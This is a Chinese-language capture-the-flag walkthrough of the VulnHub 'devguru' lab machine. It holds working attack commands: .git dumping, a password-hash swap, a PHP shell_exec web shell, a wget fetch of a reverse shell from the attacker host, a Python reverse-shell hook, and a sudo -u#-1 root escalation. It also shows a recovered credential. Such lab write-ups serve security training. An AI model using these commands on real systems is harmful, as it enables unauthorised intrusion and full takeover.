vulnhub之devguru的實踐
今天實踐的是vulnhub的devguru鏡像,
下載地址,https://download.vulnhub.com/devguru/devguru.ova.7z,
用workstation導入成功,直接拿到地址,

進行端口掃描,sudo nmap -sS -sV -T5 -A -p- 192.168.58.141,

掃描到的192.168.58.141:80/.git和http://devguru.local:8585很有用,
先用gitdumper對git進行爆破,
git clone https://github.com/arthaud/git-dumper.git,
cd git-dumper,mkdir backup,
python3 git_dumper.py http://192.168.58.141:80/.git/ backup,
cd backup,看到個adminer.php,瀏覽器訪問一下,

繼續從其它文件中獲取信息,cd config,
cat database.php得到數據庫訪問信息,

登錄后找到一個賬號記錄frank,

根據密碼hash的特征猜測是bcrypt方式,找個在線的bcrypt站點,
給自己的密碼password生成hash值,

把生成的hash值替換掉frank的密碼,
就能用frank/password登錄http://192.168.58.141/backend/backend/auth/signin了,登錄后找到可以提交代碼的頁面,Code里貼上,
function onStart()
{
$this->page["myVar"] = shell_exec($_GET['cmd']);
}

Markup里貼上,{{ this.page.myVar }},

保存后,訪問http://192.168.58.141?cmd=ls試試效果,

下載一個php的反彈shell腳本,https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php,改好信息,
kali攻擊機上做個http下載,python2 -m SimpleHTTPServer,
執行http://192.168.58.141?cmd=wget http://192.168.58.131:8000/php-reverse-shell.php,
kali攻擊機上開個反彈shell監聽,nc -lvp 4444,
訪問http://192.168.58.141/php-reverse-shell.php,
kali攻擊機上拿到反彈shell,不是root,先轉成交互式的,

從/var/backups/app.ini.bak里發現賬戶信息gitea/UfFPTF8C8jjxVF2m,

再次登錄http://192.168.58.141/adminer.php,再次把密碼換掉,

就能用frank/password登錄http://192.168.58.141:8585/user/login了,
登錄后找到可以提交代碼的頁面,http://192.168.58.141:8585/frank/devguru-website/settings/hooks/git/pre-receive,提交代碼,
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.58.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',

kali攻擊機上開個反彈shell監聽,nc -lvp 1234,
為了讓反彈shell發生,假裝編輯一下readme并提交,

kali攻擊機上拿到反彈shell,sudo -l發現sqlite3是root執行的,搜一下提權方法,

最后靠sudo的版本漏洞找到最終的提權命令,
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh',id看一下是root,
